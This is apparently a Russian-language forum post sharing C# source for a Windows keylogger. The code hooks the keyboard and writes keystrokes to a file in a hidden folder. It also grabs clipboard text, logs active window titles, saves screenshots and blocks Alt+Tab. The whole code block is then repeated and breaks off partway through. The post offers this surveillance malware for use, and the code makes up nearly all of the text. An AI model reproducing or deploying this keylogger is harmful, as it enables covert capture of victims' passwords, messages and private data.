Решил поделиться данной реализацией, может будет интересно.
Ловим открытые окна ( и из className убираем то что не нужно выводить в консоль) !
private string GetActiveWindowTitle()
{
const int nChars = 256;
IntPtr handle = IntPtr.Zero;
StringBuilder className = new StringBuilder(nChars);
handle = GetForegroundWindow();
if (GetWindowText(handle, className, className.Capacity) > 0)
{
if (className.ToString() == "Program Manager" || className.ToString() == "Проводник" || className.ToString() == "Пуск"
|| className.ToString() == "ENU" || className.ToString() == "Удалить файл" || className.ToString() == "RUS"
|| className.ToString() == "Подготавливается перемещение в корзину" || className.ToString() == "Брандмауэр Windows"
|| className.ToString() == "Администрирование" || className.ToString() == "Все элементы панели управления")
{
return null;
}
else
{
Shell.Text = className.ToString();
}
}
return className.ToString();
}
Активация хука и создание папки для сбора текста с клавы.
public void StatJHook()
{
try
{
KeyboardHook keyHook = new UserActive.KeyboardHook();
keyHook.Install();
IntPtr Injec = SetWinEventHook(EVENT_SYSTEM_FOREGROUND, EVENT_SYSTEM_FOREGROUND, IntPtr.Zero, dele, 0, 0, WINEVENT_OUTOFCONTEXT);
keyHook.KeyUp += new KeyboardHook.KeyboardHookCallback(keyUp);
}
catch { }
try
{
if (!Directory.Exists(PathTxt))
{
DirectoryInfo di = Directory.CreateDirectory(PathTxt);
di.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
}
}
catch { }
}
Записываем всё из буфера обмена:
private void OnClipboardAction()
{
string text = Clipboard.GetText();
if (!string.IsNullOrEmpty(text))
{
Shell.Text += (Environment.NewLine + "|| # [<Буфер Обмена>] " + DateTime.Now.ToString("[ MM.dd.yyyy") + " - " +
DateTime.Now.ToString("hh:mm:ss ]") + " # ||" + Environment.NewLine + text + "" + Environment.NewLine + Environment.NewLine);
Shell.Text = Shell.Text.Substring(0, Shell.Text.Length - 1); Shell.Text = Shell.Text.TrimEnd('c');
}
}
Блокировка клавиш Alt+Tab
[StructLayout(LayoutKind.Sequential)]
private struct KBDLLHOOKSTRUCT
{
public Keys key;
}
private delegate IntPtr LowLevelKeyboardProcDelegate(int nCode, IntPtr wParam, IntPtr lParam);
public IntPtr LowLevelKeyboardHookProc_alt_tab(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0)
{
KBDLLHOOKSTRUCT infoblock = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));
if (infoblock.key == Keys.Alt || infoblock.key == Keys.Tab)
{
return (IntPtr)1;
}
}
return CallNextHookEx(AltHook, nCode, wParam, lParam);
}
public void SetHook()
{
fasthook = LowLevelKeyboardHookProc_alt_tab;
AltHook = SetWindowsHookEx(WH_KEYBOARD_LL, fasthook, GetModuleHandle(IntPtr.Zero), 0);
}
Для работы понадобиться:
[DllImport("user32.dll", SetLastError = true)]
static extern int GetWindowTextLength(IntPtr hWnd);
[DllImport("user32.dll", SetLastError = true)]
static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
static extern IntPtr SetWinEventHook(uint eventMin, uint eventMax, IntPtr hmodWinEventProc, WinEventDelegate lpfnWinEventProc, uint idProcess, uint idThread, uint dwFlags);
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProcDelegate lpfn, IntPtr hMod, int dwThreadId);
[DllImport("Kernel32.dll", SetLastError = true)]
private static extern IntPtr GetModuleHandle(IntPtr lpModuleName);
private IntPtr AltHook;
private const int WH_KEYBOARD_LL = 13;
private LowLevelKeyboardProcDelegate fasthook;
delegate void WinEventDelegate(IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread);
private WinEventDelegate dele = null;
private const uint WINEVENT_OUTOFCONTEXT = 0;
private const uint EVENT_SYSTEM_FOREGROUND = 3;
И на по следок какие клавиши будем записывать:
Советую использовать конструкцию (Switch-Case) - Дабы он лучше читабелен чем if-else!
public void keyUp(KeyboardHook.VKeys key)
{
try
{
using (StreamWriter SW = new StreamWriter(PathTxt + @"\KeyLoGGeR_" + UserName + ".txt", false, Encoding.UTF8))
{
SW.Write(Shell.Text);
bool Ctrl = Control.ModifierKeys == Keys.Control;
if (Ctrl)
{
OnClipboardAction();
}
if (InputLanguage.CurrentInputLanguage.Culture.ToString() == "en-US")
{
if (Control.IsKeyLocked(Keys.CapsLock))
{
if (key == KeyboardHook.VKeys.SPACE)
{
Shell.Text += " ";
}
else if (key == KeyboardHook.VKeys.KEY_A)
{
Shell.Text += "A";
}
else if (key == KeyboardHook.VKeys.KEY_B)
{
Shell.Text += "B";
}
else if (key == KeyboardHook.VKeys.KEY_C)
{
Shell.Text += "C";
}
else if (key == KeyboardHook.VKeys.KEY_D)
{
Shell.Text += "D";
}
else if (key == KeyboardHook.VKeys.KEY_E)
{
Shell.Text += "E";
}
else if (key == KeyboardHook.VKeys.KEY_F)
{
Shell.Text += "F";
}
else if (key == KeyboardHook.VKeys.KEY_G)
{
Shell.Text += "G";
}
else if (key == KeyboardHook.VKeys.KEY_H)
{
Shell.Text += "H";
}
else if (key == KeyboardHook.VKeys.KEY_I)
{
Shell.Text += "I";
}
else if (key == KeyboardHook.VKeys.KEY_J)
{
Shell.Text += "J";
}
else if (key == KeyboardHook.VKeys.KEY_K)
{
Shell.Text += "K";
}
else if (key == KeyboardHook.VKeys.KEY_L)
{
Shell.Text += "L";
}
else if (key == KeyboardHook.VKeys.KEY_M)
{
Shell.Text += "M";
}
else if (key == KeyboardHook.VKeys.KEY_N)
{
Shell.Text += "N";
}
else if (key == KeyboardHook.VKeys.KEY_O)
{
Shell.Text += "O";
}
else if (key == KeyboardHook.VKeys.KEY_P)
{
Shell.Text += "P";
}
else if (key == KeyboardHook.VKeys.KEY_Q)
{
Shell.Text += "Q";
}
else if (key == KeyboardHook.VKeys.KEY_R)
{
Shell.Text += "R";
}
else if (key == KeyboardHook.VKeys.KEY_S)
{
Shell.Text += "S";
}
else if (key == KeyboardHook.VKeys.KEY_T)
{
Shell.Text += "T";
}
else if (key == KeyboardHook.VKeys.KEY_U)
{
Shell.Text += "U";
}
else if (key == KeyboardHook.VKeys.KEY_V)
{
Shell.Text += "V";
}
else if (key == KeyboardHook.VKeys.KEY_W)
{
Shell.Text += "W";
}
else if (key == KeyboardHook.VKeys.KEY_X)
{
Shell.Text += "X";
}
else if (key == KeyboardHook.VKeys.KEY_Y)
{
Shell.Text += "Y";
}
else if (key == KeyboardHook.VKeys.KEY_Z)
{
Shell.Text += "Z";
}
else if (key == KeyboardHook.VKeys.RETURN)
{
Shell.Text += Environment.NewLine;
}
else if (key == KeyboardHook.VKeys.KEY_0)
{
Shell.Text += "0";
}
else if (key == KeyboardHook.VKeys.KEY_1)
{
Shell.Text += "1";
}
else if (key == KeyboardHook.VKeys.KEY_2)
{
Shell.Text += "2";
}
else if (key == KeyboardHook.VKeys.KEY_3)
{
Shell.Text += "3";
}
else if (key == KeyboardHook.VKeys.KEY_4)
{
Shell.Text += "4";
}
else if (key == KeyboardHook.VKeys.KEY_5)
{
Shell.Text += "5";
}
else if (key == KeyboardHook.VKeys.KEY_6)
{
Shell.Text += "6";
}
else if (key == KeyboardHook.VKeys.KEY_7)
{
Shell.Text += "7";
}
else if (key == KeyboardHook.VKeys.KEY_8)
{
Shell.Text += "8";
}
else if (key == KeyboardHook.VKeys.KEY_9)
{
Shell.Text += "9";
}
else if (key == KeyboardHook.VKeys.BACK)
{
try
{
Shell.Text = Shell.Text.Substring(0, Shell.Text.Length - 1);
}
catch { }
}
else if (key == KeyboardHook.VKeys.DELETE)
{
try
{
Shell.Text = Shell.Text.Substring(0, Shell.Text.Length - 1);
}
catch { }
}
else if (key == KeyboardHook.VKeys.MULTIPLY)
{
Shell.Text += "*";
}
else if (key == KeyboardHook.VKeys.DIVIDE)
{
Shell.Text += "/";
}
else if (key == KeyboardHook.VKeys.OEM_PLUS)
{
Shell.Text += "=";
}
else if (key == KeyboardHook.VKeys.OEM_PERIOD)
{
Shell.Text += ".";
}
else if (key == KeyboardHook.VKeys.OEM_COMMA)
{
Shell.Text += ",";
}
else if (key == KeyboardHook.VKeys.OEM_MINUS)
{
Shell.Text += "-";
}
else if (key == KeyboardHook.VKeys.OEM_1)
{
Shell.Text += ";";
}
else if (key == KeyboardHook.VKeys.OEM_2)
{
Shell.Text += "/";
}
else if (key == KeyboardHook.VKeys.OEM_3)
{
Shell.Text += "`";
}
else if (key == KeyboardHook.VKeys.OEM_4)
{
Shell.Text += "[";
}
else if (key == KeyboardHook.VKeys.OEM_5)
{
Shell.Text += "\\";
}
else if (key == KeyboardHook.VKeys.OEM_6)
{
Shell.Text += "]";
}
else if (key == KeyboardHook.VKeys.OEM_7)
{
Shell.Text += "'";
}
}
else
{
bool shiftDown = (Control.ModifierKeys & Keys.Shift) == Keys.Shift;
if (shiftDown == false)
if (key == KeyboardHook.VKeys.SPACE)
{
Shell.Text += " ";
}
else if (key == KeyboardHook.VKeys.ADD)
{
Shell.Text += "+";
}
else if (key == KeyboardHook.VKeys.OEM_MINUS)
{
Shell.Text += "-";
}
else if (key == KeyboardHook.VKeys.KEY_A)
{
Shell.Text += "a";
}
else if (key == KeyboardHook.VKeys.KEY_B)
{
Shell.Text += "b";
}
else if (key == KeyboardHook.VKeys.KEY_C)
{
Shell.Text += "c";
}
else if (key == KeyboardHook.VKeys.KEY_D)
{
Shell.Text += "d";
}
else if (key == KeyboardHook.VKeys.KEY_E)
{
Shell.Text += "e";
}
else if (key == KeyboardHook.VKeys.KEY_F)
{
Shell.Text += "f";
}
else if (key == KeyboardHook.VKeys.KEY_G)
{
Shell.Text += "g";
}
else if (key == KeyboardHook.VKeys.KEY_H)
{
Shell.Text += "h";
}
else if (key == KeyboardHook.VKeys.KEY_I)
{
Shell.Text += "i";
}
else if (key == KeyboardHook.VKeys.KEY_J)
{
Shell.Text += "j";
}
else if (key == KeyboardHook.VKeys.KEY_K)
{
Shell.Text += "k";
}
else if (key == KeyboardHook.VKeys.KEY_L)
{
Shell.Text += "l";
}
else if (key == KeyboardHook.VKeys.KEY_M)
{
Shell.Text += "m";
}
else if (key == KeyboardHook.VKeys.KEY_N)
{
Shell.Text += "n";
}
else if (key == KeyboardHook.VKeys.KEY_O)
{
Shell.Text += "o";
}
else if (key == KeyboardHook.VKeys.KEY_P)
{
Shell.Text += "p";
}
else if (key == KeyboardHook.VKeys.KEY_Q)
{
Shell.Text += "q";
}
else if (key == KeyboardHook.VKeys.KEY_R)
{
Shell.Text += "r";
}
else if (key == KeyboardHook.VKeys.KEY_S)
{
Shell.Text += "s";
}
else if (key == KeyboardHook.VKeys.KEY_T)
{
Shell.Text += "t";
}
else if (key == KeyboardHook.VKeys.KEY_U)
{
Shell.Text += "u";
}
else if (key == KeyboardHook.VKeys.KEY_V)
{
Shell.Text += "v";
}
else if (key == KeyboardHook.VKeys.KEY_W)
{
Shell.Text += "w";
}
else if (key == KeyboardHook.VKeys.KEY_X)
{
Shell.Text += "x";
}
else if (key == KeyboardHook.VKeys.KEY_Y)
{
Shell.Text += "y";
}
else if (key == KeyboardHook.VKeys.KEY_Z)
{
Shell.Text += "z";
}
else if (key == KeyboardHook.VKeys.OEM_PERIOD)
{
Shell.Text += ".";
}
else if (key == KeyboardHook.VKeys.OEM_COMMA)
{
Shell.Text += ",";
}
else if (key == KeyboardHook.VKeys.OEM_MINUS)
{
Shell.Text += "-";
}
else if (key == KeyboardHook.VKeys.OEM_1)
{
Shell.Text += ";";
}
else if (key == KeyboardHook.VKeys.OEM_2)
{
Shell.Text += "/";
}
else if (key == KeyboardHook.VKeys.OEM_3)
{
Shell.Text += "`";
}
else if (key == KeyboardHook.VKeys.OEM_4)
{
Shell.Text += "[";
}
else if (key == KeyboardHook.VKeys.OEM_5)
{
Shell.Text += "\\";
}
else if (key == KeyboardHook.VKeys.OEM_6)
{
Shell.Text += "]";
}
else if (key == KeyboardHook.VKeys.PACKET)
{
Shell.Text += "=";
}
else if (key == KeyboardHook.VKeys.RETURN)
{
Shell.Text += Environment.NewLine;
}
bool shiftDown2 = (Control.ModifierKeys & Keys.Shift) == Keys.Shift;
if (shiftDown2)
{
if (key == KeyboardHook.VKeys.SPACE)
{
Shell.Text += " ";
}
else if (key == KeyboardHook.VKeys.KEY_A)
{
Shell.Text += "A";
}
else if (key == KeyboardHook.VKeys.KEY_B)
{
Shell.Text += "B";
}
else if (key == KeyboardHook.VKeys.KEY_C)
{
Shell.Text += "C";
}
else if (key == KeyboardHook.VKeys.KEY_D)
{
Shell.Text += "D";
}
else if (key == KeyboardHook.VKeys.KEY_E)
{
Shell.Text += "E";
}
else if (key == KeyboardHook.VKeys.KEY_F)
{
Shell.Text += "F";
}
else if (key == KeyboardHook.VKeys.KEY_G)
{
Shell.Text += "G";
}
else if (key == KeyboardHook.VKeys.KEY_H)
{
Shell.Text += "H";
}
else if (key == KeyboardHook.VKeys.KEY_I)
{
Shell.Text += "I";
}
else if (key == KeyboardHook.VKeys.KEY_J)
{
Shell.Text += "J";
}
else if (key == KeyboardHook.VKeys.KEY_K)
{
Shell.Text += "K";
}
else if (key == KeyboardHook.VKeys.KEY_L)
{
Shell.Text += "L";
}
else if (key == KeyboardHook.VKeys.KEY_M)
{
Shell.Text += "M";
}
else if (key == KeyboardHook.VKeys.KEY_N)
{
Shell.Text += "N";
}
else if (key == KeyboardHook.VKeys.KEY_O)
{
Shell.Text += "O";
}
else if (key == KeyboardHook.VKeys.KEY_P)
{
Shell.Text += "P";
}
else if (key == KeyboardHook.VKeys.KEY_Q)
{
Shell.Text += "Q";
}
else if (key == KeyboardHook.VKeys.KEY_R)
{
Shell.Text += "R";
}
else if (key == KeyboardHook.VKeys.KEY_S)
{
Shell.Text += "S";
}
else if (key == KeyboardHook.VKeys.KEY_T)
{
Shell.Text += "T";
}
else if (key == KeyboardHook.VKeys.KEY_U)
{
Shell.Text += "U";
}
else if (key == KeyboardHook.VKeys.KEY_V)
{
Shell.Text += "V";
}
else if (key == KeyboardHook.VKeys.KEY_W)
{
Shell.Text += "W";
}
else if (key == KeyboardHook.VKeys.KEY_X)
{
Shell.Text += "X";
}
else if (key == KeyboardHook.VKeys.KEY_Y)
{
Shell.Text += "Y";
}
else if (key == KeyboardHook.VKeys.KEY_Z)
{
Shell.Text += "Z";
}
else if (key == KeyboardHook.VKeys.RETURN)
{
Shell.Text += Environment.NewLine;
}
else if (key == KeyboardHook.VKeys.OEM_4)
{
Shell.Text += "{";
}
else if (key == KeyboardHook.VKeys.OEM_6)
{
Shell.Text += "}";
}
else if (key == KeyboardHook.VKeys.OEM_1)
{
Shell.Text += ":";
}
else if (key == KeyboardHook.VKeys.OEM_COMMA)
{
Shell.Text += "<";
}
else if (key == KeyboardHook.VKeys.OEM_PERIOD)
{
Shell.Text += ">";
}
else if (key == KeyboardHook.VKeys.OEM_2)
{
Shell.Text += "?";
}
else if (key == KeyboardHook.VKeys.OEM_7)
{
Shell.Text += "'";
}
else if (key == KeyboardHook.VKeys.BACK)
{
try
{
Shell.Text = Shell.Text.Substring(0, Shell.Text.Length - 1);
}
catch { }
}
else if (key == KeyboardHook.VKeys.DELETE)
{
try
{
Shell.Text = Shell.Text.Substring(0, Shell.Text.Length - 1);
}
catch { }
}
}
bool shiftDown3 = (Control.ModifierKeys & Keys.Shift) == Keys.Shift;
if (shiftDown3 == false)
if (key == KeyboardHook.VKeys.KEY_0)
{
Shell.Text += "0";
}
else if (key == KeyboardHook.VKeys.KEY_1)
{
Shell.Text += "1";
}
else if (key == KeyboardHook.VKeys.KEY_2)
{
Shell.Text += "2";
}
else if (key == KeyboardHook.VKeys.KEY_3)
{
Shell.Text += "3";
}
else if (key == KeyboardHook.VKeys.KEY_4)
{
Shell.Text += "4";
}
else if (key == KeyboardHook.VKeys.KEY_5)
{
Shell.Text += "5";
}
else if (key == KeyboardHook.VKeys.KEY_6)
{
Shell.Text += "6";
}
else if (key == KeyboardHook.VKeys.KEY_7)
{
Shell.Text += "7";
}
else if (key == KeyboardHook.VKeys.KEY_8)
{
Shell.Text += "8";
}
else if (key == KeyboardHook.VKeys.KEY_9)
{
Shell.Text += "9";
}
else if (key == KeyboardHook.VKeys.BACK)
{
try
{
Shell.Text = Shell.Text.Substring(0, Shell.Text.Length - 1);
}
catch { }
}
else if (key == KeyboardHook.VKeys.DELETE)
{
try
{
Shell.Text = Shell.Text.Substring(0, Shell.Text.Length - 1);
}
catch { }
}
else if (key == KeyboardHook.VKeys.MULTIPLY)
{
Shell.Text += "*";
}
else if (key == KeyboardHook.VKeys.DIVIDE)
{
Shell.Text += "/";
}
else if (key == KeyboardHook.VKeys.OEM_PLUS)
{
Shell.Text += "=";
}
else if (key == KeyboardHook.VKeys.OEM_7)
{
Shell.Text += "'";
}
else if (key == KeyboardHook.VKeys.DECIMAL)
{
Shell.Text += "-";
}
else if (key == KeyboardHook.VKeys.SNAPSHOT)
{
try
{
Bitmap printscreen = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
Graphics graphics = Graphics.FromImage(printscreen as Image);
graphics.CopyFromScreen(0, 0, 0, 0, printscreen.Size);
printscreen.Save(PathTxt + @"\ScreenShot.jpg", ImageFormat.Jpeg);
graphics.Dispose();
}
catch { }
}
if (Control.IsKeyLocked(Keys.NumLock))
{
if (key == KeyboardHook.VKeys.NUMPAD0)
{
Shell.Text += "0";
}
else if (key == KeyboardHook.VKeys.NUMPAD1)
{
Shell.Text += "1";
}
else if (key == KeyboardHook.VKeys.NUMPAD2)
{
Shell.Text += "2";
}
else if (key == KeyboardHook.VKeys.NUMPAD3)
{
Shell.Text += "3";
}
else if (key == KeyboardHook.VKeys.NUMPAD4)
{
Shell.Text += "4";
}
else if (key == KeyboardHook.VKeys.NUMPAD5)
{
Shell.Text += "5";
}
else if (key == KeyboardHook.VKeys.NUMPAD6)
{
Shell.Text += "6";
}
else if (key == KeyboardHook.VKeys.NUMPAD7)
{
Shell.Text += "7";
}
else if (key == KeyboardHook.VKeys.NUMPAD8)
{
Shell.Text += "8";
}
else if (key == KeyboardHook.VKeys.NUMPAD9)
{
Shell.Text += "9";
}
}
else
{
bool shiftDown4 = (Control.ModifierKeys & Keys.Shift) == Keys.Shift;
if (shiftDown4)
{
if (key == KeyboardHook.VKeys.KEY_0)
{
Shell.Text += ")";
}
else if (key == KeyboardHook.VKeys.KEY_1)
{
Shell.Text += "!";
}
else if (key == KeyboardHook.VKeys.KEY_2)
{
Shell.Text += "@";
}
else if (key == KeyboardHook.VKeys.KEY_3)
{
Shell.Text += "#";
}
else if (key == KeyboardHook.VKeys.KEY_4)
{
Shell.Text += "$";
}
else if (key == KeyboardHook.VKeys.KEY_5)
{
Shell.Text += "%";
}
else if (key == KeyboardHook.VKeys.KEY_6)
{
Shell.Text += "^";
}
else if (key == KeyboardHook.VKeys.KEY_7)
{
Shell.Text += "&";
}
else if (key == KeyboardHook.VKeys.KEY_8)
{
Shell.Text += "*";
}
else if (key == KeyboardHook.VKeys.KEY_9)
{
Shell.Text += "(";
}
else if (key == KeyboardHook.VKeys.OEM_MINUS)
{
Shell.Text += "_";
}
else if (key == KeyboardHook.VKeys.OEM_3)
{
Shell.Text += "~";
}
else if (key == KeyboardHook.VKeys.OEM_PLUS)
{
Shell.Text += "+";
}
else if (key == KeyboardHook.VKeys.OEM_5)
{
Shell.Text += "|";
}
SW.Close();
}
}
}
}
}
}
catch { }
}
В коде много гмо так что не судите строго ) Дал лишь пример)
А лучше писать всё в консольном варианте.
Дополню:
Вызов Функции активных окон:
public void WinEventProc(IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread)
{
Shell.Text = Shell.Text + Environment.NewLine + "|| # [ " + GetActiveWindowTitle() + " ]" +
DateTime.Now.ToString(" [ MM.dd.yyyy") + " - " + DateTime.Now.ToString("hh:mm:ss ]") + " # ||" + Environment.NewLine + Environment.NewLine;
}
И в Main
Вызывайте:
dele =
Вот смена языка может нужна будет:
На таймер:
private void LogoText_Tick(object sender, EventArgs e)
{
TXT.Text = language.GetKeyboardLayoutId().ToString();
}
Классы для работы
Ловим открытые окна ( и из className убираем то что не нужно выводить в консоль) !
private string GetActiveWindowTitle()
{
const int nChars = 256;
IntPtr handle = IntPtr.Zero;
StringBuilder className = new StringBuilder(nChars);
handle = GetForegroundWindow();
if (GetWindowText(handle, className, className.Capacity) > 0)
{
if (className.ToString() == "Program Manager" || className.ToString() == "Проводник" || className.ToString() == "Пуск"
|| className.ToString() == "ENU" || className.ToString() == "Удалить файл" || className.ToString() == "RUS"
|| className.ToString() == "Подготавливается перемещение в корзину" || className.ToString() == "Брандмауэр Windows"
|| className.ToString() == "Администрирование" || className.ToString() == "Все элементы панели управления")
{
return null;
}
else
{
Shell.Text = className.ToString();
}
}
return className.ToString();
}
Активация хука и создание папки для сбора текста с клавы.
public void StatJHook()
{
try
{
KeyboardHook keyHook = new UserActive.KeyboardHook();
keyHook.Install();
IntPtr Injec = SetWinEventHook(EVENT_SYSTEM_FOREGROUND, EVENT_SYSTEM_FOREGROUND, IntPtr.Zero, dele, 0, 0, WINEVENT_OUTOFCONTEXT);
keyHook.KeyUp += new KeyboardHook.KeyboardHookCallback(keyUp);
}
catch { }
try
{
if (!Directory.Exists(PathTxt))
{
DirectoryInfo di = Directory.CreateDirectory(PathTxt);
di.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
}
}
catch { }
}
Записываем всё из буфера обмена:
private void OnClipboardAction()
{
string text = Clipboard.GetText();
if (!string.IsNullOrEmpty(text))
{
Shell.Text += (Environment.NewLine + "|| # [<Буфер Обмена>] " + DateTime.Now.ToString("[ MM.dd.yyyy") + " - " +
DateTime.Now.ToString("hh:mm:ss ]") + " # ||" + Environment.NewLine + text + "" + Environment.NewLine + Environment.NewLine);
Shell.Text = Shell.Text.Substring(0, Shell.Text.Length - 1); Shell.Text = Shell.Text.TrimEnd('c');
}
}
Блокировка клавиш Alt+Tab
[StructLayout(LayoutKind.Sequential)]
private struct KBDLLHOOKSTRUCT
{
public Keys key;
}
private delegate IntPtr LowLevelKeyboardProcDelegate(int nCode, IntPtr wParam, IntPtr lParam);
public IntPtr LowLevelKeyboardHookProc_alt_tab(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0)
{
KBDLLHOOKSTRUCT infoblock = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));
if (infoblock.key == Keys.Alt || infoblock.key == Keys.Tab)
{
return (IntPtr)1;
}
}
return CallNextHookEx(AltHook, nCode, wParam, lParam);
}
public void SetHook()
{
fasthook = LowLevelKeyboardHookProc_alt_tab;
AltHook = SetWindowsHookEx(WH_KEYBOARD_LL, fasthook, GetModuleHandle(IntPtr.Zero), 0);
}
Для работы понадобиться:
[DllImport("user32.dll", SetLastError = true)]
static extern int GetWindowTextLength(IntPtr hWnd);
[DllImport("user32.dll", SetLastError = true)]
static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
static extern IntPtr SetWinEventHook(uint eventMin, uint eventMax, IntPtr hmodWinEventProc, WinEventDelegate lpfnWinEventProc, uint idProcess, uint idThread, uint dwFlags);
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProcDelegate lpfn, IntPtr hMod, int dwThreadId);
[DllImport("Kernel32.dll", SetLastError = true)]
private static extern IntPtr GetModuleHandle(IntPtr lpModuleName);
private IntPtr AltHook;
private const int WH_KEYBOARD_LL = 13;
private LowLevelKeyboardProcDelegate fasthook;
delegate void WinEventDelegate(IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread);
private WinEventDelegate dele = null;
private const uint WINEVENT_OUTOFCONTEXT = 0;
private const uint EVENT_SYSTEM_FOREGROUND = 3;
И на по следок какие клавиши будем записывать:
Советую использовать конструкцию (Switch-Case) - Дабы он лучше читабелен чем if-else!
public void keyUp(KeyboardHook.VKeys key)
{
try
{
using (StreamWriter SW = new StreamWriter(PathTxt + @"\KeyLoGGeR_" + UserName + ".txt", false, Encoding.UTF8))
{
SW.Write(Shell.Text);
bool Ctrl = Control.ModifierKeys == Keys.Control;
if (Ctrl)
{
OnClipboardAction();
}
if (InputLanguage.CurrentInputLanguage.Culture.ToString() == "en-US")
{
if (Control.IsKeyLocked(Keys.CapsLock))
{
if (key == KeyboardHook.VKeys.SPACE)
{
Shell.Text += " ";
}
else if (key == KeyboardHook.VKeys.KEY_A)
{
Shell.Text += "A";
}
else if (key == KeyboardHook.VKeys.KEY_B)
{
Shell.Text += "B";
}
else if (key == KeyboardHook.VKeys.KEY_C)
{
Shell.Text += "C";
}
else if (key == KeyboardHook.VKeys.KEY_D)
{
Shell.Text += "D";
}
else if (key == KeyboardHook.VKeys.KEY_E)
{
Shell.Text += "E";
}
else if (key == KeyboardHook.VKeys.KEY_F)
{
Shell.Text += "F";
}
else if (key == KeyboardHook.VKeys.KEY_G)
{
Shell.Text += "G";
}
else if (key == KeyboardHook.VKeys.KEY_H)
{
Shell.Text += "H";
}
else if (key == KeyboardHook.VKeys.KEY_I)
{
Shell.Text += "I";
}
else if (key == KeyboardHook.VKeys.KEY_J)
{
Shell.Text += "J";
}
else if (key == KeyboardHook.VKeys.KEY_K)
{
Shell.Text += "K";
}
else if (key == KeyboardHook.VKeys.KEY_L)
{
Shell.Text += "L";
}
else if (key == KeyboardHook.VKeys.KEY_M)
{
Shell.Text += "M";
}
else if (key == KeyboardHook.VKeys.KEY_N)
{
Shell.Text += "N";
}
else if (key == KeyboardHook.VKeys.KEY_O)
{
Shell.Text += "O";
}
else if (key == KeyboardHook.VKeys.KEY_P)
{
Shell.Text += "P";
}
else if (key == KeyboardHook.VKeys.KEY_Q)
{
Shell.Text += "Q";
}
else if (key == KeyboardHook.VKeys.KEY_R)
{
Shell.Text += "R";
}
else if (key == KeyboardHook.VKeys.KEY_S)
{
Shell.Text += "S";
}
else if (key == KeyboardHook.VKeys.KEY_T)
{
Shell.Text += "T";
}
else if (key == KeyboardHook.VKeys.KEY_U)
{
Shell.Text += "U";
}
else if (key == KeyboardHook.VKeys.KEY_V)
{
Shell.Text += "V";
}
else if (key == KeyboardHook.VKeys.KEY_W)
{
Shell.Text += "W";
}
else if (key == KeyboardHook.VKeys.KEY_X)
{
Shell.Text += "X";
}
else if (key == KeyboardHook.VKeys.KEY_Y)
{
Shell.Text += "Y";
}
else if (key == KeyboardHook.VKeys.KEY_Z)
{
Shell.Text += "Z";
}
else if (key == KeyboardHook.VKeys.RETURN)
{
Shell.Text += Environment.NewLine;
}
else if (key == KeyboardHook.VKeys.KEY_0)
{
Shell.Text += "0";
}
else if (key == KeyboardHook.VKeys.KEY_1)
{
Shell.Text += "1";
}
else if (key == KeyboardHook.VKeys.KEY_2)
{
Shell.Text += "2";
}
else if (key == KeyboardHook.VKeys.KEY_3)
{
Shell.Text += "3";
}
else if (key == KeyboardHook.VKeys.KEY_4)
{
Shell.Text += "4";
}
else if (key == KeyboardHook.VKeys.KEY_5)
{
Shell.Text += "5";
}
else if (key == KeyboardHook.VKeys.KEY_6)
{
Shell.Text += "6";
}
else if (key == KeyboardHook.VKeys.KEY_7)
{
Shell.Text += "7";
}
else if (key == KeyboardHook.VKeys.KEY_8)
{
Shell.Text += "8";
}
else if (key == KeyboardHook.VKeys.KEY_9)
{
Shell.Text += "9";
}
else if (key == KeyboardHook.VKeys.BACK)
{
try
{
Shell.Text = Shell.Text.Substring(0, Shell.Text.Length - 1);
}
catch { }
}
else if (key == KeyboardHook.VKeys.DELETE)
{
try
{
Shell.Text = Shell.Text.Substring(0, Shell.Text.Length - 1);
}
catch { }
}
else if (key == KeyboardHook.VKeys.MULTIPLY)
{
Shell.Text += "*";
}
else if (key == KeyboardHook.VKeys.DIVIDE)
{
Shell.Text += "/";
}
else if (key == KeyboardHook.VKeys.OEM_PLUS)
{
Shell.Text += "=";
}
else if (key == KeyboardHook.VKeys.OEM_PERIOD)
{
Shell.Text += ".";
}
else if (key == KeyboardHook.VKeys.OEM_COMMA)
{
Shell.Text += ",";
}
else if (key == KeyboardHook.VKeys.OEM_MINUS)
{
Shell.Text += "-";
}
else if (key == KeyboardHook.VKeys.OEM_1)
{
Shell.Text += ";";
}
else if (key == KeyboardHook.VKeys.OEM_2)
{
Shell.Text += "/";
}
else if (key == KeyboardHook.VKeys.OEM_3)
{
Shell.Text += "`";
}
else if (key == KeyboardHook.VKeys.OEM_4)
{
Shell.Text += "[";
}
else if (key == KeyboardHook.VKeys.OEM_5)
{
Shell.Text += "\\";
}
else if (key == KeyboardHook.VKeys.OEM_6)
{
Shell.Text += "]";
}
else if (key == KeyboardHook.VKeys.OEM_7)
{
Shell.Text += "'";
}
}
else
{
bool shiftDown = (Control.ModifierKeys & Keys.Shift) == Keys.Shift;
if (shiftDown == false)
if (key == KeyboardHook.VKeys.SPACE)
{
Shell.Text += " ";
}
else if (key == KeyboardHook.VKeys.ADD)
{
Shell.Text += "+";
}
else if (key == KeyboardHook.VKeys.OEM_MINUS)
{
Shell.Text += "-";
}
else if (key == KeyboardHook.VKeys.KEY_A)
{
